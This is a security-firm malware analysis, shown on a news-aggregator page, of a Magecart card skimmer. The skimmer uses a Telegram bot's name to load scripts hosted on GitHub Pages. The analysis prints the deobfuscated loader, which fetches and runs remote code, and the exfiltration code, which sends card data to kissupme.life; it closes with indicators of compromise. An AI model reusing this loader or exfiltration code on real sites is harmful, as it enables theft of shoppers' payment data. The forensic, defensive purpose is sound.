惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

G
Google Developers Blog
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
WordPress大学
WordPress大学
阮一峰的网络日志
阮一峰的网络日志
V
Visual Studio Blog
雷峰网
雷峰网
博客园_首页
The Cloudflare Blog
Hugging Face - Blog
Hugging Face - Blog
酷 壳 – CoolShell
酷 壳 – CoolShell
爱范儿
爱范儿
小众软件
小众软件
D
Docker
P
Proofpoint News Feed
B
Blog
Vercel News
Vercel News
B
Blog RSS Feed
U
Unit 42
月光博客
月光博客
The GitHub Blog
The GitHub Blog
Apple Machine Learning Research
Apple Machine Learning Research
Y
Y Combinator Blog
I
InfoQ
Recent Announcements
Recent Announcements

Sansec - experts in eCommerce security

GorgonAgora: 4,800+ fake storefronts skim cards across hundreds of impersonated brands Sansec adds support for Sylius 1 & 2 Critical vulnerability in Mirasvit Cache Warmer for Magento Critical FunnelKit vulnerability threatens 40,000+ WooCommerce checkouts Composer vulnerability leaks GitHub tokens, threatens PHP supply chain Over 200 PrestaShop stores expose installer, allowing full takeover ClickFix malware hits DoD cybersecurity vendor homepage SVG Onload Tag Hides Magecart Skimmer on 99 Stores Mass PolyShell attack wave hits 471 stores in one hour Novel WebRTC skimmer bypasses security controls at $100+ billion car maker PolyShell: unrestricted file upload in Magento and Adobe Commerce Digital skimmer hits global supermarket chain Building a faster YARA engine in pure Go Magento Developers Impersonated in Targeted GitHub Malware Operation Claude finds 353 zero-days on Packagist The billion-dollar security.txt problem Keylogger targets 200,000+ employees at major US bank ConnectPOS leaked Github secrets for years Critical backdoor found in MGT Varnish extension SessionReaper attacks have started, 3 in 5 stores still vulnerable SessionReaper, unauthenticated RCE in Magento & Adobe Commerce (CVE-2025-54236) Adobe patches critical Magento admin takeover via menu injection Backdoor found in popular ecommerce components Found defunct.dat on your site? You've got a problem. You have 2 weeks left to set up CSP for your store Merchants left guessing at last-minute PCI-DSS u-turn Magento Security Release APSB25-08 [Impact Analysis] Sorry, client-side security does not work Google services abused in skimming campaigns Thousands of Adobe Commerce stores hacked in competing CosmicSting campaigns
Malware Persistence via Telegram and GitHub
Sansec Forensics Team · 2023-08-22 · via Sansec - experts in eCommerce security

Attackers are devising ingenious methods to prolong their skimming activities, aiming for sustained persistence.

The usual tactics, techniques, and procedures (TTP) include the creation of disposable domains to house malware and facilitate the extraction of credit card information.

However, these throwaway domains are susceptible to takedowns and often become swiftly identified by malware researchers.

A novel variant of the Magecart threat has surfaced, aiming to circumvent these challenges.

Telegram Loader

Telegram malware

The loader is first hidden behind obfuscation. However, once this obfuscation is removed, it becomes evident what is taking place:

fetch(
  "https://api.telegram.org/bot6167771222:AAFLu6qy3CVPwosDZKlnuk0tLI-WBxq0RCk/getMe"
)
  .then((resp) => resp.json())
  .then((resp) => {
    const [username, path] = resp.result.first_name.split(",");
    const script = document.createElement("script");
    script.src =
      "https://" + username + ".github.io/" + path + ".js?r=" + Math.random();
    try {
      document.body.appendChild(script);
    } catch (e) {
      document.head.appendChild(script);
    }
  });
  1. Initially, a request is sent to the Telegram bot API to fetch specific information about a designated bot: https://api.telegram.org/bot6167771222:AAFLu6qy3CVPwosDZKlnuk0tLI-WBxq0RCk/getMe.
  2. The "first name" of the bot is then divided using a comma as the separator.
  3. The first part contains the GitHub username.
  4. The subsequent part indicates the file path intended for loading.
  5. Afterward, a script is attached to the webpage found at https://<username>.github.io/<path>.js.

This approach eliminates the need for the attacker to utilize a disposable domain or set up infrastructure for hosting malicious scripts. This is due to the fact that the scripts are directly loaded from GitHub.

Furthermore, even if GitHub takes action to deactivate this account, the individual could easily create a new account and update the Telegram bot's name accordingly.

GitHub Hosted Multi-Skimmer

The current response from the Telegram API takes the form of the following JSON structure:

{
  "ok": true,
  "result": {
    "id": 6167771222,
    "is_bot": true,
    "first_name": "jubilmaria,homepage/swco",
    "username": "asddq4t44w3f45y45refbot",
    "can_join_groups": true,
    "can_read_all_group_messages": false,
    "supports_inline_queries": false
  }
}

This dataset allows us to deduce the following insights:

  • The GitHub account corresponds to jubilmaria.
  • The repository in question is labeled as homepage.
  • The specific script designated for loading is identified as swco.js.

While this repository outwardly presents itself as a legitimate entity:

Benign-looking repository

The contents concealed within are, in reality, malicious and are exposed through GitHub Pages.

The loaded script, swco.js, is composed of four distinct skimmers, each finely tuned to specific targets. swco.js performs checks on window.location.host and window.location.href against a roster of compromised stores, subsequently selecting from three skimmer variations:

  1. Authorizenet (Magento 2)
  2. Klarna Checkout
  3. Authorizenet (WooCommerce)

In cases where the current window location lacks a precise store match, the script defaults to a more generalized skimmer designed to exploit both Magento and WooCommerce platforms.

Across all versions, users are confronted with a counterfeit credit card form. The data inputted into these forms is then transferred to https://kissupme.life/a:

fetch("https://kissupme.life/a", {
  headers: {
    Accept: "application/json",
    "Content-Type": "application/json",
  },
  body: JSON.stringify(_0x1e3c4c),
  method: "POST",
})
  .then((_0x4900b6) => {
    setTimeout(() => {
      alert("Waiting time exceeded");
      window.location.reload();
    }, 2500);
  })
  .catch((_0x112e4a) => {
    new Image().src =
      "https://kissupme.life/a?data=" +
      encodeURIComponent(JSON.stringify(_0x1e3c4c));
    setTimeout(() => {
      alert("Waiting time exceeded");
      window.location.reload();
    }, 2500);
  });

Initially, an attempt is made to initiate a POST request for data exfiltration. Should this prove unsuccessful, an alternative method involving a fake Image is employed as an exfiltration mechanism.

Once 2.5 seconds have transpired, an alert is presented to the user, accompanied by a page refresh. Following this reload, the user is presented with the authentic credit card form.

At present, the domain resolves to 51.161.204.249, a dedicated server registered with Regxa, Ltd.

Indicators of compromise

  • jubilmaria
  • kissupme.life
  • 51.161.204.249
  • bot6167771222
  • asddq4t44w3f45y45refbot

Read more